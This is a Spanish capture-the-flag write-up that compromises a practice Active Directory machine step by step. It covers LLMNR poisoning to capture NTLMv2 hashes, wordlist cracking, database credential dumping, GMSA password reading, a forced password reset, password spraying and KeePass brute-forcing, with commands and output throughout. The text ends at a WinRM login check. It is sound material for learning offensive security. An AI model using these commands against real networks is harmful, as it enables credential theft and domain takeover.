Curiosity 2 – TheHackersLabs Link to heading
- OS: Windows
- Difficulty: Medium
- Platform: TheHackersLabs
Resumen Link to heading
“Curiosity 2” es una máquina de Active Directory de la plataforma TheHackersLabs
. Somos capaces de performar un LLMNR
poisoning snigginf a través de la red y obtener así un hashes NTLMv2
para 2 usuarios. Somos capaces de crackear estos hashes y ganar acceso inicial a la máquina víctima. Uno de estos usuarios tiene acceso a una base de datos donde hay un hash, el cual podemos volver a crackear y pivotear a un nuevo usuario. Inspeccionamos la estructura del entorno AD con Bloodhound
para ver de qué es capaz este nuevo usuario y podemos ver que éste puede leer el hash de la cuenta GMSA
; y, además, este usuario tiene acceso a un archivo KeePass
. La cuenta GMSA
es capaz de cambiar la contraseña de un 4to usuario. Este nuevo 4to usuario puede leer una tabla en la base de datos a la cual no teníamos acceso previamente. Dentro de este tabla encontramos contraseñas. Una de estas contraseñas funciona para el archivo KeePass
. Este archivo contiene la contraseña de un 4to usuario final. Encontramos así 3 maneras de pwnear la máquina: 1) Performar un ataque Resource-based Constrained Delegation
y así forjar un Golden Ticket; 2) Performar un ataque DCSync
para obtener hashes de todos los usuarios víctimas; 3) Usar exploit PrintNightmare
bypasseando Windows Defender
para ganar acceso como nt authority/system
.
User / Usuario Link to heading
Empezamos con un escaneo con Nmap
rápido:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 192.168.56.116
Podemos ver múltiples puertos abiertos: 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 5985
WinRM
, 57936
MSSQL
; entre otros. Aplicando algunos escaneos de reconocimiento tenemos:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49670,49672,49673,49676,49693,57936,64632,64659 192.168.56.116
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-06 00:50 -03
Nmap scan report for 192.168.56.116
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-06 03:51:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after: 2025-10-11T16:05:23
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after: 2025-10-11T16:05:23
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after: 2025-10-11T16:05:23
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after: 2025-10-11T16:05:23
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
57936/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 192.168.56.116\SQLEXPRESS:
| Instance name: SQLEXPRESS
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
| TCP port: 57936
|_ Clustered: false
| ms-sql-ntlm-info:
| 192.168.56.116\SQLEXPRESS:
| Target_Name: CONS
| NetBIOS_Domain_Name: CONS
| NetBIOS_Computer_Name: WIN-C73PROQLRHL
| DNS_Domain_Name: cons.thl
| DNS_Computer_Name: WIN-C73PROQLRHL.cons.thl
|_ Product_Version: 10.0.14393
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after: 2025-10-11T16:05:23
64632/tcp open msrpc Microsoft Windows RPC
64659/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:73:1A:1C (Oracle VirtualBox virtual NIC)
Service Info: Host: WIN-C73PROQLRHL; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-11-06T03:51:55
|_ start_date: 2024-11-05T23:43:00
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
|_nbstat: NetBIOS name: WIN-C73PROQLRHL, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:73:1a:1c (Oracle VirtualBox virtual NIC)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.32 seconds
Estamos ante un entorno Active Directory
.
Usando NetExec
sobre el servicio SMB
para obtener algo de información del dominio obtenemos:
❯ nxc smb 192.168.56.116
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
Tenemos un dominio: const.thl
y un nombre de máquina WIN-C73PROQLRHL
.
Agregamos el dominio y el FQDN
a nuestro archivo /etc/hosts
:
❯ echo '192.168.56.116 cons.thl WIN-C73PROQLRHL.cons.thl' | sudo tee -a /etc/hosts
Podemos entonces empezar un LLMNR
poisoner con Responder
y, eventualmente, obtener algo:
❯ sudo responder -I eth0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
<SNIP>
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.56.116 for name SQLSERVER (service: File Server)
[*] [LLMNR] Poisoned answer sent to 192.168.56.116 for name SQLserver
[*] [LLMNR] Poisoned answer sent to fe80::6158:46dd:3fee:8046 for name SQLserver
[*] [LLMNR] Poisoned answer sent to fe80::6158:46dd:3fee:8046 for name SQLserver
[*] [LLMNR] Poisoned answer sent to 192.168.56.116 for name SQLserver
[SMB] NTLMv2-SSP Client : fe80::6158:46dd:3fee:8046
[SMB] NTLMv2-SSP Username : cons\Appolonia
[SMB] NTLMv2-SSP Hash : Appolonia::cons:e86b71aedb1d4051:50C436B2010305777E08244FFB1974FA:0101000000000000005570716C39DB018C5BC73E68D1B1A00000000002000800440046003900300001001E00570049004E002D0055003700420047005300470030004E0054003100300004003400570049004E002D0055003700420047005300470030004E005400310030002E0044004600390030002E004C004F00430041004C000300140044004600390030002E004C004F00430041004C000500140044004600390030002E004C004F00430041004C0007000800005570716C39DB0106000400020000000800300030000000000000000000000000400000311A3A97A9C05CC6488D5F94C6DF49244019AE0DFE27E7F50CB1BDB2B18370160A0010000000000000000000000000000000000009001C0063006900660073002F00530051004C00730065007200760065007200000000000000000000000000
[*] [LLMNR] Poisoned answer sent to fe80::6158:46dd:3fee:8046 for name SQLDatababase
[*] [LLMNR] Poisoned answer sent to 192.168.56.116 for name SQLDatababase
[*] [NBT-NS] Poisoned answer sent to 192.168.56.116 for name SQLDATABABASE (service: File Server)
[*] [LLMNR] Poisoned answer sent to fe80::6158:46dd:3fee:8046 for name SQLDatababase
[*] [LLMNR] Poisoned answer sent to 192.168.56.116 for name SQLDatababase
[SMB] NTLMv2-SSP Client : fe80::6158:46dd:3fee:8046
[SMB] NTLMv2-SSP Username : cons\sqldb
[SMB] NTLMv2-SSP Hash : sqldb::cons:f693b8f21a5ff527:A4807528249CD6D2B837446128DBD503:0101000000000000005570716C39DB01FF6FB38D578D6B590000000002000800440046003900300001001E00570049004E002D0055003700420047005300470030004E0054003100300004003400570049004E002D0055003700420047005300470030004E005400310030002E0044004600390030002E004C004F00430041004C000300140044004600390030002E004C004F00430041004C000500140044004600390030002E004C004F00430041004C0007000800005570716C39DB0106000400020000000800300030000000000000000000000000400000311A3A97A9C05CC6488D5F94C6DF49244019AE0DFE27E7F50CB1BDB2B18370160A001000000000000000000000000000000000000900240063006900660073002F00530051004C004400610074006100620061006200610073006500000000000000000000000000
Obtenemos 2 hashes. Uno para el usuario Appolonia
y otra llamada sqldb
.
Si intentamos performar un Brute Force Password Cracking
con JohnTheRipper
y el diccionario rockyou.txt
no somos capaces de crackearlo. Como sea, si usamos otras contraseñas del repositorio SecLists
(en un pequeño “for” loop con Bash
) obtenemos algo:
❯ for dict in /usr/share/seclists/Passwords/*.txt; do echo -e "\n\n[+] Attempting with dictionary $dict"; john --wordlist=$dict hashes_found; done
[+] Attempting with dictionary /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-11-19 05:00) 0g/s 1970p/s 3940c/s 3940C/s 123456..angel1
Session completed.
<SNIP>
[+] Attempting with dictionary /usr/share/seclists/Passwords/seasons.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
au7umn@ (sqldb)
5umm3r@ (Appolonia)
2g 0:00:00:00 DONE (2024-11-19 05:00) 66.66g/s 85333p/s 170666c/s 170666C/s $pr1ng..Spr1ng1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
<SNIP>
Obtenemos 2 credenciales: sqldb:au7umn@
y Appolonia:5umm3r@
.
Podemos revisar si estas credenciales funcionan con el servicio SMB
y NetExec
:
❯ nxc smb 192.168.56.116 -u 'sqldb' -p 'au7umn@'
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.116 445 WIN-C73PROQLRHL [+] cons.thl\sqldb:au7umn@
❯ nxc smb 192.168.56.116 -u 'appolonia' -p '5umm3r@'
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.116 445 WIN-C73PROQLRHL [+] cons.thl\appolonia:5umm3r@
Podemos revisar si el usuario Appolonia
tiene acceso a través de WinRM
:
❯ nxc winrm 192.168.56.116 -u 'appolonia' -p '5umm3r@'
WINRM 192.168.56.116 5985 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
WINRM 192.168.56.116 5985 WIN-C73PROQLRHL [+] cons.thl\appolonia:5umm3r@ (Pwn3d!)
Tenemos acceso. Podemos obtener la flag de usuario en el directorio Documents
.
NT Authority / System - Administrador Link to heading
Usamos evil-winrm
para ganar acceso en la máquina víctima como el usuario Appolonia
:
❯ evil-winrm -i 192.168.56.116 -u Appolonia -p '5umm3r@'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\appolonia\Documents>
Revisando información acerca de este usuario, we get it is vemos que éste es parte del grupo Support
. Dado que este no es un grupo común, podríamos usar Bloodhound
para mappear información sobre el dominio. Para esto podemos subir SharpHound
(el cual puede ser descargado desde su repositorio de Github) y subirlo a la máquina víctima usando la función upload
que viene incluida en evil-winrm
:
*Evil-WinRM* PS C:\Users\appolonia\Downloads> upload SharpHound.exe
Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Curiosity2/exploits/SharpHound.exe to C:\Users\appolonia\Downloads\SharpHound.exe
Data: 2075988 bytes of 2075988 bytes copied
Info: Upload successful!
Una vez subido, lo ejecutamos:
*Evil-WinRM* PS C:\Users\appolonia\Documents> .\SharpHound.exe -c All
…pero no pasa nada.
Adicionalmente, el archivo es borrado. Esto puede indicar que Windows Defender
está corriendo en la máquina víctima. Podemos revisar si éste se encuentra corriendo:
*Evil-WinRM* PS C:\Users\appolonia\Documents> cmd.exe /c "sc query Windefend"
SERVICE_NAME: Windefend
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Una alternativa para mapear el dominio es bloodhound-python
usando alguna de las credenciales halladas previamente:
❯ bloodhound-python -c ALL -u 'Appolonia' -p '5umm3r@' -d cons.thl -ns 192.168.56.116
<SNIP>
Subimos los datos recolectados a Bloodhound
(a su Community Edition
, o CE
) y buscamoas por el grupo Support
. Sin embargo, este grupo no muestra nada interesante:
De manera que continuemos.
Podemos entonces cambiar al usuario sqldb
dado que las credenciales para este usuario también eran válidas. Este usuario también tiene acceso a través de WinRM
:
❯ evil-winrm -i 192.168.56.116 -u sqldb -p 'au7umn@'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sqldb\Documents>
Podemos revisar si tenemos alguna base de detos corriendo revisando los registros de la máquina:
*Evil-WinRM* PS C:\Users\sqldb\Documents> reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL
SQLEXPRESS REG_SZ MSSQL15.SQLEXPRESS
Tenemos un servicio SQLEXPRESS
para MSSQL
.
Podemos revisar si este servicio tiene bases de datos dentro:
*Evil-WinRM* PS C:\Users\sqldb\Documents> sqlcmd -E -S 'localhost\SQLEXPRESS' -Q 'SELECT name FROM master.dbo.sysdatabases;'
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
CredentialsDB
toolsdb
(6 rows affected)
Somos capaces de ver una base de datos CredentialsDB
:
*Evil-WinRM* PS C:\Users\sqldb\Documents> sqlcmd -E -S "localhost\SQLEXPRESS" -d "CredentialsDB" -Q "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';"
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------
Credentials
(1 rows affected)
Revisando qué hay dentro de esta base de datos tenemos una tabla llamada Credentials
:
Check its content:
*Evil-WinRM* PS C:\Users\sqldb\Documents> sqlcmd -E -S "localhost\SQLEXPRESS" -d "CredentialsDB" -Q "SELECT * FROM dbo.Credentials;"
ID Username Password
----------- -------------------------------------------------- ----------------------------------------------------------------------------------------------------
1 sqlsvc a6d888301de7aa3b380a691d32837627
(1 rows affected)
Tenemos un hash para el usuario sqlsvc
.
Éste parece ser un hash MD5
, tal cual parece ser identificado por hash-identifier
:
❯ hash-identifier
<SNIP>
--------------------------------------------------
HASH: a6d888301de7aa3b380a691d32837627
Possible Hashs:
[+] MD5
<SNIP>
Tratamos de crackear este nuevo hash usando, nuevamente, diccionarios del repositorio SecLists
:
❯ for dict in /usr/share/seclists/Passwords/*.txt ; do echo -e "\n\n[+] Attempting with dictionary $dict"; john --wordlist=$dict sqlsvc_hash --format=Raw-MD5; done
<SNIP>
[+] Attempting with dictionary /usr/share/seclists/Passwords/seasons.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
$PRING2021# (?)
1g 0:00:00:00 DONE (2024-11-19 06:22) 100.0g/s 38400p/s 38400c/s 38400C/s $pr1ng..$umm3r2021%
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
<SNIP>
Tenemos una contraseña: $PRING2021#
.
Revisamos si este hash funciona, como ya es usual, con NetExec
:
❯ nxc smb 192.168.56.116 -u 'sqlsvc' -p '$PRING2021#'
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.116 445 WIN-C73PROQLRHL [+] cons.thl\sqlsvc:$PRING2021#
❯ nxc winrm 192.168.56.116 -u 'sqlsvc' -p '$PRING2021#'
WINRM 192.168.56.116 5985 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
WINRM 192.168.56.116 5985 WIN-C73PROQLRHL [+] cons.thl\sqlsvc:$PRING2021# (Pwn3d!)
y logueamos usando evil-winrm
:
❯ evil-winrm -i 192.168.56.116 -u sqlsvc -p '$PRING2021#'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sqlsvc\Documents>
En Bloodhound
podemos revisar si el usuario sqlsvc
tiene algún permiso sobre otros usuarios:
Tenemos el permiso ReadGMSAPassword
sobre la cuenta de máquina GMSA_SQL$
.
Podemos usar NetExec
, junto con el comando ldap
y la flag --gmsa
para abusar de este permiso y obtener el hash del usuario:
❯ nxc ldap 192.168.56.116 -u 'sqlsvc' -p '$PRING2021#' --gmsa
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
LDAPS 192.168.56.116 636 WIN-C73PROQLRHL [+] cons.thl\sqlsvc:$PRING2021#
LDAPS 192.168.56.116 636 WIN-C73PROQLRHL [*] Getting GMSA Passwords
LDAPS 192.168.56.116 636 WIN-C73PROQLRHL Account: GMSA_SQL$ NTLM: ec1f99b967f3f285007fd567cc203155
Obtenemos un hash NT
para la cuenta GMSA_SQL$
.
Antes de olvidarnos, revisamos la session evil-winrm
del usuario svcsql
. Somos capaces de ver un archivo .kdbx
(KeePass
):
*Evil-WinRM* PS C:\Users\sqlsvc\Documents> dir
Directory: C:\Users\sqlsvc\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/31/2024 6:23 PM 2231 Database.kdbx
Lo descargamos:
*Evil-WinRM* PS C:\Users\sqlsvc\Documents> download Database.kdbx
Info: Downloading C:\Users\sqlsvc\Documents\Database.kdbx to Database.kdbx
Info: Download successful!
Si intentaos pasar la contraseña que protege el archivo KeePass
a un formato crackeable con keepass2john
encontramos un problema:
❯ keepass2john Database.kdbx
! Database.kdbx : File version '40000' is currently not supported!
Podemos usar esta herramienta llamada “keepass4brute” (la cual, a su vez, necesita la herramienta keepassxc-cli
, la cual puede ser descargada con sudo apt install keepassxc -y
) la cual intentará usar el archivo .kdbx
usando fuerza bruta:
❯ git clone https://github.com/r3nt0n/keepass4brute.git
Cloning into 'keepass4brute'...
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (21/21), done.
remote: Total 24 (delta 10), reused 9 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (24/24), 18.26 KiB | 456.00 KiB/s, done.
Resolving deltas: 100% (10/10), done.
❯ cd keepass4brute
❯ ./keepass4brute.sh ../../content/Database.kdbx /usr/share/seclists/Passwords/seasons.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 5390/5390 - Attempts per minute: 1126 - Estimated time remaining: 0 seconds
[!] Wordlist exhausted, no match found
Pero no tenemos suerte. De manera que puede que volvamos a este archivo más tarde.
Volvamos a la cuenta GMSA_SQL$
. Revisando qué es lo que puede hacer este usuario en Bloodhound
tenemos:
Tenemos GenericWrite
y ForceChangePassword
sobre el usuario toolsdb
.
Basados en el permiso GenericWrite
podríamos performar un ataque de Shadow Credentials
para intentar obtener el hash NT
del usuario toolsdb
. Para esto podemos usar la herramienta Certipy
:
❯ certipy shadow auto -username 'GMSA_SQL$'@cons.thl -hashes ':ec1f99b967f3f285007fd567cc203155' -no-pass -account 'toolsdb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'toolsdb'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'edc525c8-e435-04cc-2335-47a697627472'
[*] Adding Key Credential with device ID 'edc525c8-e435-04cc-2335-47a697627472' to the Key Credentials for 'toolsdb'
[*] Successfully added Key Credential with device ID 'edc525c8-e435-04cc-2335-47a697627472' to the Key Credentials for 'toolsdb'
[*] Authenticating as 'toolsdb' with the certificate
[*] Using principal: toolsdb@cons.thl
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[*] Restoring the old Key Credentials for 'toolsdb'
[*] Successfully restored the old Key Credentials for 'toolsdb'
[*] NT hash for 'toolsdb': None
Obtenemos un error: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
. Este error quiere decir que el Key Distribution Center
(o KDC
) no está configurado para recibir autenticaciones de Kerberos
. Por lo que no somos capaces de performar un ataque de Shadow Credentials
, tristemente.
Así que la única opción posible es cambiar la contraseña del usuario toolsdb
usando el permiso ForceChangePassword
. Podemos realizar esto fácilmente utilizando una herramienta como impacket-changepasswd
:
❯ impacket-changepasswd CONS.THL/toolsdb@cons.thl -newpass 'gunzf0x123$!' -altuser 'GMSA_SQL$' -althash ':ec1f99b967f3f285007fd567cc203155' -no-pass -reset
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of CONS.THL\toolsdb as CONS.THL\GMSA_SQL$
[*] Connecting to DCE/RPC as CONS.THL\GMSA_SQL$
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
Hemos cambiado la contraseña del usuario toolsdb
a gunzf0x123$!
.
Revisamos si el cambio ha tenido efecto consultando con nuestro viejo amigo NetExec
:
❯ nxc smb 192.168.56.116 -u 'toolsdb' -p 'gunzf0x123$!'
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.116 445 WIN-C73PROQLRHL [+] cons.thl\toolsdb:gunzf0x123$!
❯ nxc winrm 192.168.56.116 -u 'toolsdb' -p 'gunzf0x123$!'
WINRM 192.168.56.116 5985 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
WINRM 192.168.56.116 5985 WIN-C73PROQLRHL [+] cons.thl\toolsdb:gunzf0x123$! (Pwn3d!)
Nos conectamos a la máquina víctima con evil-winrm
:
❯ evil-winrm -i 192.168.56.116 -u 'toolsdb' -p 'gunzf0x123$!'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\toolsdb\Documents>
Hay una base de datos llamada toolsdb
(el mismo nombre del usuario) la cual habíamos visto previamente con sqlcmd
(pero no teníamos permiso para leer). Revisamos si ahora sí somos capaces de leerla:
*Evil-WinRM* PS C:\Users\toolsdb\Documents> sqlcmd -E -S "localhost\SQLEXPRESS" -d "toolsdb" -Q "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';"
TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------
users
(1 rows affected)
Podemos.
Leyendo la tabla users
retorna algunos usuarios y passwords
*Evil-WinRM* PS C:\Users\toolsdb\Documents> sqlcmd -E -S "localhost\SQLEXPRESS" -d "toolsdb" -Q "SELECT * FROM dbo.users;"
id username password
----------- -------------------------------------------------- --------------------------------------------------
1 user_6B482050 433129A1!@1
2 user_47F7501A 64409A1C!@1
3 user_515A0C58 CAD616E3!@1
4 user_CA843BF2 731C60AD!@1
5 user_AA2B9FF8 8E181E5F!@1
6 user_F6E6A108 47862562!@1
7 user_8D56BAE8 425B6335!@1
8 user_BA9B1295 E4FC1AC4!@1
9 user_66B7DBEE 4EE216A3!@1
10 user_E75B7C23 4CD89A92!@1
(10 rows affected)
Guardamos las contraseñas en nuestra máquian de atacante en un archivo llamado toolsdb_passwords.txt
.
También podemos obtener una lista de usuarios completa del dominio usando el servicio Microsoft RPC
junto con rpcclient
:
❯ rpcclient -U "Appolonia%5umm3r@" 192.168.56.116 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}' > domain_users.txt
E intentamos un Password Spray
:
❯ nxc smb 192.168.56.116 -u domain_users.txt -p toolsdb_passwords.txt
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.116 445 WIN-C73PROQLRHL [-] cons.thl\Administrator:433129A1!@1 STATUS_LOGON_FAILURE
SMB 192.168.56.116 445 WIN-C73PROQLRHL [-] cons.thl\Guest:433129A1!@1 STATUS_LOGON_FAILURE
SMB 192.168.56.116 445 WIN-C73PROQLRHL [-] cons.thl\krbtgt:433129A1!@1 STATUS_LOGON_FAILURE
<SNIP>
Pero ninguna credencial funciona.
¿Qué tal con el archivo .kdbx
que habíamos hallado previamente?
❯ ./keepass4brute.sh Database.kdbx toolsdb_passwords.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 5/10 - Attempts per minute: 300 - Estimated time remaining: 1 seconds
[+] Current attempt: 8E181E5F!@1
[*] Password found: 8E181E5F!@1
La contraseña 8E181E5F!@1
dunciona para el archivo Database.kdbx
.
Podemos entonces usar keepassxc-cli
para revisar su contenido en una terminal:
❯ keepassxc-cli ls Database.kdbx
Enter password to unlock Database.kdbx:
MSOL
General/
Windows/
Network/
Internet/
eMail/
Homebanking/
Recycle Bin/
Revisando uno por uno los archivos, eventualmente hallamos algo interesante:
❯ keepassxc-cli show Database.kdbx "MSOL" -s
Enter password to unlock Database.kdbx:
Title: MSOL
UserName: MSOL
Password: YRax2Ry8g2ITQ3hpRPze
URL:
Notes:
Uuid: {fc461e02-a7b8-3e4e-8af6-81a04cfdca95}
Tags:
El usuario MSOL
existía en el dominio. Revisamos si esta contraseña funciona para el usuario:
❯ nxc smb 192.168.56.116 -u 'MSOL' -p 'YRax2Ry8g2ITQ3hpRPze'
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB 192.168.56.116 445 WIN-C73PROQLRHL [+] cons.thl\MSOL:YRax2Ry8g2ITQ3hpRPze
❯ nxc winrm 192.168.56.116 -u 'MSOL' -p 'YRax2Ry8g2ITQ3hpRPze'
WINRM 192.168.56.116 5985 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
